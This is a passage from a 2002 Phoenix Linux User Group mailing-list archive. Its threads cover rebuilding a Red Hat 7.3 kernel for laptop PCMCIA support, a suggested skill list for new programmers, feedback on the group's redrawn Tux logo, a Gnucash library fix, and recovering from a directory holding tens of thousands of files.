Maybe it was not included in the i386.config file?? > > > > I am rebuilding the kernel again without pcmcia support for this card, and it is still going strong (5 hours and counting). > > > > I will let you know if I find any other problems. > > > > Thanks again! > > > > Mark > > > > > > From: "Kevin Brown" > > > Date: 2002/06/17 Mon PM 07:12:36 EDT> > > To: plug-discuss@lists.plug.phoenix.az.us > > > Subject: Re: Need Help with Redhat 7.3 Install > > > > > > I gave Mark a call this morning, but thought I'd send this out to the list since > > > several people have had this issue with RH7.3 and PCMCIA support on laptops. > > > > > > To fix this requires a rebuild of the kernel and the removal of the pcmcia rpm > > > package from the system. > > > > > > rpm -e kernel-pcmcia-cs > > > > > > Grab the src.rpm for kernel-2.4.18 and the raw tar.gz for the kernel from > > > kernel.org> > > wget> > > ftp://ftp.redhat.com/pub/redhat/linux/updates/7.3/en/os/i386/SRPMS/kernel-2.4.18-4.src.rpm > > > wget ftp://ftp.kernel.org/pub/linux/kernel/v2.4/linux-2.4.18.tar.gz > > > wget> > > http://telia.dl.sourceforge.net/sourceforge/pcmcia-cs/pcmcia-cs-3.1.34.tar.gz > > > cd /usr/src> > > tar -xvzf ~/linux-2.4.18.tar.gz> > > rpm -ivh ~/kernel-2.4.18.src.rpm > > > cd /usr/src/redhat/SOURCES > > > cp kernel-config- /usr/src/linux/.config> > > > > > Alter the config of the kernel: > > > cd /usr/src/linux> > > make menuconfig> > > > > > Remove PCMCIA Support > > > General setup -> PCMCIA/CardBus support -> PCMCIA/CardBus support > > > hit n to remove it, then exit config and save the changes > > > > > > make dep && make clean && make bzImage && make modules && make modules_install > > > > > > Wait for it to finish. On my P150 this took most of the night to do. > > > > > > cd /usr/src/linux/arch/i386/boot > > > cp bzImage /boot/vmlinuz-2.4.18 > > > > > > Assuming you are using grub, edit /etc/grub.conf > > > Assuming you are using lilo, edit /etc/lilo.conf, then rerun lilo> > > > > > Easy way to edit both is to copy the config that is currently booting and rename > > > kernel it is loading. > > > > > > Reboot the system and select the recently compiled kernel. > > > > > > Now rebuild PCMCIA support. > > > > > > cd /usr/src> > > tar -xvzf ~/pcmcia-cs-3.1.34.tar.gz> > > cd pcmcia-cs-3.1.34 > > > make config && make all && make install > > > > > > You should be able to accept the defaults during make config. Once done test by > > > starting it up. > > > > > > /etc/rc.d/init.d/pcmcia start > > > > > > Hope this helps. > > > > > > > I had RH7.0 running on my laptop and I installed RH 7.3 from CDs. However, I cannot get the pcmcia services to work, so I cannot connect to my network. I have to be out of town this weekend, or I would come to the install-fest for help. > > > > > > > > If anyone is willing to spend some time with me getting my laptop up and running, please call me on my cell 602 524-0376. My work laptop was stolen from my car, so I am trying to get my old laptop upgraded and working. Since I cannot get on the 'net I am sending this email from the library, so I will not be able to respond to this email! > > > > > > > > Thanks! > > > > > > > > > > > > > > > > Mark Phillips> > > > Phillips Marketing, Inc. > > > > 480.945.0798 > > > > 480.945.9197 fax > > > > mark@phillipsmarketing.biz> > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > Mark Phillips> > Phillips Marketing, Inc. > > 480.945.0798 > > 480.945.9197 fax > > mark@phillipsmarketing.biz > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > Mark Phillips> Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 23:58:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Thu, 20 Jun 2002 16:58:56 -0700 (PDT) Subject: Help getting experience Message-ID: <20020620235856.30797.qmail@web10601.mail.yahoo.com> This would be a question to all the programmers out there who are actually programming for a living. What would be a good 'knowledge set' for wanna-be programmers? Here is my list. Please correct me if I'm wrong, or please add to the list. I think anyone who works with computers will one-day have to look at source-code 1. Variable Types 2. Arrays (and how to manipulate them) 3. Selection Statements (if/then/select case) 4. Loops (for, next ,do while, while etc...) 5. 'Intrinsic functions ' (ie...Math.Square()--ie Java) - various String functions as well as math 6. functions - and the differences between them and proceedures 7. Algorithm development 8. Object-Oriented Programming (information hiding, polymorhism, inheritance etc..) Please add to list if necessary... ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 00:17:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Thu, 20 Jun 2002 17:17:52 -0700 Subject: Apple has some big brass ones! In-Reply-To: References: Message-ID: <20020620171752.7d5ab2b2.snoogans@qwest.net> is there a quicktime plugin for mozilla? because i cant find a way to see the adds =/ On Thu, 20 Jun 2002 10:06:09 -0700 "Jeffrey Pyne" wrote: > It's actually a whole series of ads. They're testimonials from "real > people" (a writer, an artist, etc.) who hated their PCs and switched to a > Mac. You can see more of the ads at http://www.apple.com/switch/ads. I > think the campaign is pretty clever. > > ~Jeff > > On Wednesday, June 19, 2002 11:17 PM, robert jorgenson wrote: > > > i dont know if anyone has seen it yet but apple has a new > > commercial out. Its basically a guy who says hes a windows > > LAN admin talking about how muh better OSX is than windows. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 00:26:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 20 Jun 2002 17:26:50 -0700 Subject: Plug Logo Update In-Reply-To: <200206201616.36289.zen2now@qwest.net> References: <200206201616.36289.zen2now@qwest.net> Message-ID: <200206201726.50570.zen2now@qwest.net> well austin is the man, he is done. so for all you guys and gals who are interested. you can view the image @ http://www.zen2now.com/tux/tux_wallpaper.jpg and of coarse feed back is welcome, just be nice. :~D slr On Thursday 20 June 2002 04:16 pm, slr wrote: > I just wanted to give you guys an update on the progress of the new image. > Austin is done with the complete re-draw of Tux, and i must say it is the > most beautiful computer generated Tux image i have ever seen. the lines are > so clean, and aliasing is non-existent on the edges and should remain that > way no matter how big or small the image is. he would have already been > done with it, but our CEO has slammed him with a lot of work. so hopefully > by next week sometime we will have a complete vector image, and by looks of > it so far, one we will all be very proud to hang across our upper torso's. > :~D > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 00:39:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Thu, 20 Jun 2002 17:39:48 -0700 Subject: Plug Logo Update In-Reply-To: <200206201726.50570.zen2now@qwest.net> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 is there a master format you can post? such as a PNG, PSD, etc. with layers and sprites intact? "Black holes are where God divided by zero." -- Steven Wright matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of slr Sent: Thursday, June 20, 2002 5:27 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Plug Logo Update well austin is the man, he is done. so for all you guys and gals who are interested. you can view the image @ http://www.zen2now.com/tux/tux_wallpaper.jpg and of coarse feed back is welcome, just be nice. :~D slr On Thursday 20 June 2002 04:16 pm, slr wrote: > I just wanted to give you guys an update on the progress of the new > image. Austin is done with the complete re-draw of Tux, and i must > say it is the most beautiful computer generated Tux image i have > ever seen. the lines are so clean, and aliasing is non-existent on > the edges and should remain that way no matter how big or small the > image is. he would have already been done with it, but our CEO has > slammed him with a lot of work. so hopefully by next week sometime > we will have a complete vector image, and by looks of it so far, > one we will all be very proud to hang across our upper torso's. :~D > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write > mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBPRJ11I4p6zlv2o83EQJlBACg9QPRRwpUtFagsZmx+4ohqId7Or4An03Z NHVf8BG+YOR87OAQxXS7VtaB =rRqv -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 00:58:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Thu, 20 Jun 2002 19:58:49 -0500 Subject: Plug Logo Update In-Reply-To: <200206201726.50570.zen2now@qwest.net>; from zen2now@qwest.net on Thu, Jun 20, 2002 at 05:26:50PM -0700 References: <200206201616.36289.zen2now@qwest.net> <200206201726.50570.zen2now@qwest.net> Message-ID: <20020620195849.A94552@lilly.csoft.net> BEAUTIFUL :-) When can I pick up a t-shirt? :-) On Thu, Jun 20, 2002 at 05:26:50PM -0700, slr wrote: well austin is the man, he is done. so for all you guys and gals who are interested. you can view the image @ http://www.zen2now.com/tux/tux_wallpaper.jpg and of coarse feed back is welcome, just be nice. :~D slr On Thursday 20 June 2002 04:16 pm, slr wrote: > I just wanted to give you guys an update on the progress of the new image. > Austin is done with the complete re-draw of Tux, and i must say it is the > most beautiful computer generated Tux image i have ever seen. the lines are > so clean, and aliasing is non-existent on the edges and should remain that > way no matter how big or small the image is. he would have already been > done with it, but our CEO has slammed him with a lot of work. so hopefully > by next week sometime we will have a complete vector image, and by looks of > it so far, one we will all be very proud to hang across our upper torso's. > :~D > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 01:28:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Paul Dickson) Date: Thu, 20 Jun 2002 18:28:01 -0700 Subject: Gnucash 1.6.6 In-Reply-To: <200206190037.18890.plug@the-arcanum.org> References: <200206190037.18890.plug@the-arcanum.org> Message-ID: <20020620182801.73f0e53e.dickson@permanentmail.com> On Wed, 19 Jun 2002 00:37:18 -0700, Nathan England wrote: > Has anyone built gnucash 1.6.6 ? > I built it tonight and everything went smooth, but when I try to load it, it > says slib is missing and I may need to create a symlink to slib in my guile > directory. > My guile is in /usr/share/guile > Slib is in /usr/share/guile/1.4/slib with a symlink to /usr/share/guile/slib > > I've tried as root and my user. > Anyone else have this problem? I installed 1.6.6 from the RH 7.3 RPMs (plus 2 or 3 more supporting RPMs). slib comes from the umb-scheme RPM. /usr/share/guile/slib is a symlib to /usr/share/umb-scheme/slib. slib is a standard library for Scheme, but is not part of Scheme (or so I believe from my recent reading). -Paul From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 01:34:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 20 Jun 2002 18:34:50 -0700 Subject: Plug Logo Update In-Reply-To: <200206201726.50570.zen2now@qwest.net> References: <200206201616.36289.zen2now@qwest.net> <200206201726.50570.zen2now@qwest.net> Message-ID: <200206210135.VAA15936@hostinworld6.com> If we can, we should offer that as a kde/gnome/enlightenment/etc backround at the installfest. That is excellent. On 20 Jun 2002 17:26:50 -0700, slr wrote: > well austin is the man, he is done. so for all you guys and gals who are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the progress of the new image. > > Austin is done with the complete re-draw of Tux, and i must say it is the > > most beautiful computer generated Tux image i have ever seen. the lines are > > so clean, and aliasing is non-existent on the edges and should remain that > > way no matter how big or small the image is. he would have already been > > done with it, but our CEO has slammed him with a lot of work. so hopefully > > by next week sometime we will have a complete vector image, and by looks of > > it so far, one we will all be very proud to hang across our upper torso's. > > :~D > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:05:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Thu, 20 Jun 2002 19:05:03 -0700 Subject: Apple has some big brass ones! In-Reply-To: <20020620171752.7d5ab2b2.snoogans@qwest.net> References: <20020620171752.7d5ab2b2.snoogans@qwest.net> Message-ID: <200206201905.08047.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 20 June 2002 17:17, robert jorgenson wrote: > is there a quicktime plugin for mozilla? because i cant find a way to see > the adds =/ You could always try xine (http://xine.sourceforge.net/). They claim to have (limited) Sorenson support, now. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9EonSpNoctRtUIRQRAn/dAJ9biK3I3aAsClTjUz66CqdWfY+mFwCggb6J hiblLdSbjjhgfrEmzspfrrs= =Rmzt -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:20:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 20 Jun 2002 22:20:21 -0400 Subject: Help getting experience References: <20020620235856.30797.qmail@web10601.mail.yahoo.com> Message-ID: <3D128D65.C0DC64E9@georgetoft.com> 9. How to use properties files, and secure them from prying eyes. 10. How to avoid buffer overruns and buffer underruns. 11. How to idiot check user input. 12. How to conduct boundary tests. 13. Write code assuming multiple instances of the app are running concurrently. 14. How to avoid deadlocks on files and database records. 15. How to connect to remote services. 16. How to build relational database data models and issue SQL statements, up to 3rd normal form. 17. Learn how to hardcode nothing that could possibly change (box names, user id's, domain names, etc). 18. Understand ACL's - solving your database access problems by sticking an anonymous ACL on it is not a viable solution. 19. Document your code before/during duild, because you won't have time (or energy) to go back later. Then the poor sap that follows you will look at your crappy code and spin his wheels trying to figure out what you did. And now for the soft science: 20. If you don't understand the requirement, ask. Don't make an assumption, because, eventually, you will be wrong, and then you have to explain to the customer (or the business group) why you are a moron and can't read English and build a product to written specifications. 21. Have your piers review your code. Take criticism. Realize that as a monopoly (only person providing code), your code sucks. Only with pier review can you grow and build good code. Bonus: Figure out the difference between: if (a == "something") { blah } and if (a.equals("something")) { blah } (hint: one works, the other doesn't - both compile without error) Just a few thoughts off the top of my head. Regards, George Alpha Zenon Sanchez wrote: > > This would be a question to all the programmers out > there who are actually programming for a living. > > What would be a good 'knowledge set' for wanna-be > programmers? Here is my list. Please correct me if > I'm wrong, or please add to the list. I think anyone > who works with computers will one-day have to look at > source-code > > 1. Variable Types > 2. Arrays (and how to manipulate them) > 3. Selection Statements (if/then/select case) > 4. Loops (for, next ,do while, while etc...) > 5. 'Intrinsic functions ' (ie...Math.Square()--ie > Java) > - various String functions as well as math > 6. functions - and the differences between them and > proceedures > 7. Algorithm development > 8. Object-Oriented Programming > (information hiding, polymorhism, inheritance > etc..) > > Please add to list if necessary... > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:25:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 22:25:30 -0400 Subject: Plug Logo Update Message-ID: It is beautiful, but... The saguaro cactus is very well known and both easily recognized and automatically associated with Arizona. I think it is a mistake to change the cacti in the logo to some other species. I would like to see it as majestic saguaro cacti so our logo graphically announces our location in Arizona. Alan On Thu, 20 Jun 2002 17:26:50 -0700 slr wrote: well austin is the man, he is done. so for all you guys and gals who are interested. you can view the image @ http://www.zen2now.com/tux/tux_wallpaper.jpg and of coarse feed back is welcome, just be nice. :~D slr On Thursday 20 June 2002 04:16 pm, slr wrote: > I just wanted to give you guys an update on the progress of the new image. > Austin is done with the complete re-draw of Tux, and i must say it is the > most beautiful computer generated Tux image i have ever seen. the lines are > so clean, and aliasing is non-existent on the edges and should remain that > way no matter how big or small the image is. he would have already been > done with it, but our CEO has slammed him with a lot of work. so hopefully > by next week sometime we will have a complete vector image, and by looks of > it so far, one we will all be very proud to hang across our upper torso's. > :~D > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:26:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 22:26:52 -0400 Subject: Off-topic... Message-ID: We talk about *BSD often enough, why not OSX? Alan PS Welcome back, Jiva. On Thu, 20 Jun 2002 16:24:14 -0700 Jiva DeVoe wrote: So sue me... I know there's some other Mac OSX users on here... Anyone besides me into coding on OSX? Or interested in learning about it? Email off-list since this is off topic. :) (Though it IS an Open-source Unix based OS) ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:48:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Thu, 20 Jun 2002 19:48:11 -0700 (PDT) Subject: Plug Logo Update In-Reply-To: <200206201726.50570.zen2now@qwest.net> Message-ID: <20020621024811.23743.qmail@web13403.mail.yahoo.com> --- slr wrote: > well austin is the man, he is done. so for all you > guys and gals who are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. > :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the > progress of the new image. > > Austin is done with the complete re-draw of Tux, > and i must say it is the > > most beautiful computer generated Tux image i have > ever seen. the lines are > > so clean, and aliasing is non-existent on the > edges and should remain that > > way no matter how big or small the image is. he > would have already been > > done with it, but our CEO has slammed him with a > lot of work. so hopefully > > by next week sometime we will have a complete > vector image, and by looks of > > it so far, one we will all be very proud to hang > across our upper torso's. > > :~D > > > > slr That is really slick. The only thing that I see, and maybe I might be wrong on this, is that it says "Phoenix Linux User Group". Should it be "Phoenix Linux Users Group". Missing an S? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:55:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Paul Dickson) Date: Thu, 20 Jun 2002 19:55:40 -0700 Subject: Gnucash 1.6.6 In-Reply-To: <20020620182801.73f0e53e.dickson@permanentmail.com> References: <200206190037.18890.plug@the-arcanum.org> <20020620182801.73f0e53e.dickson@permanentmail.com> Message-ID: <20020620195540.02e0d161.dickson@permanentmail.com> On Thu, 20 Jun 2002 18:28:01 -0700, Paul Dickson wrote: > slib comes from the umb-scheme RPM. /usr/share/guile/slib is a symlib to > /usr/share/umb-scheme/slib. slib is a standard library for Scheme, but is > not part of Scheme (or so I believe from my recent reading). You can also go to http://www.swiss.ai.mit.edu/~jaffer/SLIB.html and download the latest version. -Paul From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 03:08:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 20 Jun 2002 20:08:10 -0700 (MST) Subject: Off-topic... In-Reply-To: Message-ID: Am 20. Jun, 2002 schwätzte Jiva DeVoe so: > So sue me... I know there's some other Mac OSX users on here... Anyone > besides me into coding on OSX? Or interested in learning about it? Email > off-list since this is off topic. :) (Though it IS an Open-source Unix > based OS) It's *mostly* *BSD, so it's *almost* not off-topic :). It does some funky-add mac stuff, but there's still *BSD in there somewhere and we allow *BSD stuff... We'll ( Frenchie, that is ) even be willing to help install *BSD Sat. ciao, der.hans -- # https://www.LuftHans.com/ # The only way for a woman to change a man # is if he's wearing Depends[TM] - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 05:08:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 19 Jun 2002 22:08:08 -0700 (MST) Subject: [PLUG-announce]Jun west-side meeting Message-ID: moin, moin, Jim will give the presentation for the June meeting at GCC ( next Tue ). The topic will be a review of the InstallFest. 19:00 at GCC in the Hich Tech 1 teleconference room. Check the web site, http://PLUG.phoenix.az.us/, for a map and driving directions. ciao, der.hans -- # https://www.LuftHans.com/ # A Polish friend of mine got an offer for a free account from AOL. The # login ID was "HELLO" and the passwd "CYMBAL". She says "cymbal" is # Polish for "sucker". "Hello sucker" a greeting from AOHell :). _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 03:26:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 20 Jun 2002 20:26:36 -0700 Subject: oops... to many files and can't clean up... Message-ID: <3D129CEC.89B04388@leml.asu.edu> ummm.... I have a unit and regression test suite for my ecological modeling virtual machine. I needed to bump up one of the tests to run for a longer time for model testing. Problem was that I forgot that I am creating an image dump for *every* variable specified each and every iteration... start_time=0, stop_time=25, dt=0.01... that is 2,500 images for umm... looks like 8 variables, and there are 15 other unit tests... So now I find that I have over 25,000 files in a single directory. oops. Ok, off to clean them up.... First, ls and rm complain that there are to many files to "rm *.pgm", so I go though and delete them by group name... ok, appears to go ok. Now I am finally able to "rm *.pgm" so they should be clean up. Problem is that once I do that I still have hundreds of pgm files in the directory that "ls" reports, but an "ls *meta_pop*" does not. I am affraid that I have corrupted the file system or something. any suggestions? thoughts: shut down the machine, reboot single user, fsck ever partition (including XFS partions), and recite some prayer to Boolean... other ideas, thoughts, intuitions as to what happens when creating 10's of thousands of files in a single directory by accident? EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 03:34:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 20 Jun 2002 20:34:43 -0700 Subject: oops... to many files and can't clean up... References: <3D129CEC.89B04388@leml.asu.edu> Message-ID: <3D129ED3.62C3CC27@leml.asu.edu> sorry to reply to my own message, but a quick update... I went to another xterm and tried get a second look at things. From there I was able to see and remove the rest of the files (no idea what happend to that one xterm to muck with ls/rm). Anyway, things are cleaned up, and that even seemed to fix things in the original xterm that was causing the problems... I may well still reboot and FSCK... Any idea what could have screwed up? I remember that there used to be a limit of 10,000 files/directory or inode. That is why I was originally concerned with having more than 2.5 times that in a single directory. EBo -- "John (EBo) David" wrote: > > ummm.... > > I have a unit and regression test suite for my ecological modeling > virtual machine. I needed to bump up one of the tests to run for a > longer time for model testing. Problem was that I forgot that I am > creating an image dump for *every* variable specified each and every > iteration... start_time=0, stop_time=25, dt=0.01... that is 2,500 images > for umm... looks like 8 variables, and there are 15 other unit tests... > > So now I find that I have over 25,000 files in a single directory. > oops. Ok, off to clean them up.... > > First, ls and rm complain that there are to many files to "rm *.pgm", so > I go though and delete them by group name... ok, appears to go ok. Now > I am finally able to "rm *.pgm" so they should be clean up. Problem is > that once I do that I still have hundreds of pgm files in the directory > that "ls" reports, but an "ls *meta_pop*" does not. I am affraid that I > have corrupted the file system or something. > > any suggestions? > > thoughts: > > shut down the machine, reboot single user, fsck ever partition > (including XFS partions), and recite some prayer to Boolean... > > other ideas, thoughts, intuitions as to what happens when creating 10's > of thousands of files in a single directory by accident? > > EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 04:26:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 20 Jun 2002 21:26:42 -0700 Subject: Plug Logo Update In-Reply-To: <20020621024811.23743.qmail@web13403.mail.yahoo.com> References: <20020621024811.23743.qmail@web13403.mail.yahoo.com> Message-ID: <200206202126.42756.zen2now@qwest.net> it does flow better with an S, but that is how it is on the PLUG website. but no biggy, it will be an easy change. slr On Thursday 20 June 2002 07:48 pm, bob smith wrote: > --- slr wrote: > > well austin is the man, he is done. so for all you > > guys and gals who are > > interested. you can view the image @ > > > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > > > and of coarse feed back is welcome, just be nice. > > > > :~D > > > > slr > > > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > > I just wanted to give you guys an update on the > > > > progress of the new image. > > > > > Austin is done with the complete re-draw of Tux, > > > > and i must say it is the > > > > > most beautiful computer generated Tux image i have > > > > ever seen. the lines are > > > > > so clean, and aliasing is non-existent on the > > > > edges and should remain that > > > > > way no matter how big or small the image is. he > > > > would have already been > > > > > done with it, but our CEO has slammed him with a > > > > lot of work. so hopefully > > > > > by next week sometime we will have a complete > > > > vector image, and by looks of > > > > > it so far, one we will all be very proud to hang > > > > across our upper torso's. > > > > > :~D > > > > > > slr > > That is really slick. The only thing that I see, and > maybe I might be wrong on this, is that it says > "Phoenix Linux User Group". Should it be "Phoenix > Linux Users Group". Missing an S? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 04:52:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Thu, 20 Jun 2002 23:52:53 -0500 (CDT) Subject: Plug Logo Update In-Reply-To: Message-ID: Is it just me or is teh Phoenix Linux on top not centered properly? Hopefully he didnt spend much time on 'redoing' Tux since LArry Ewing has vector tux on his website already, also Larry does 'own' Tux, though he is very generous and general just asks if you use Tux for merchandise that you just provide him a piece of the merchandise for his 'collection'. -Derek On Thu, 20 Jun 2002 alandd@mindspring.com wrote: > It is beautiful, but... > > The saguaro cactus is very well known and both easily recognized and > automatically associated with Arizona. I think it is a mistake to change the > cacti in the logo to some other species. I would like to see it as majestic > saguaro cacti so our logo graphically announces our location in Arizona. > > Alan > > On Thu, 20 Jun 2002 17:26:50 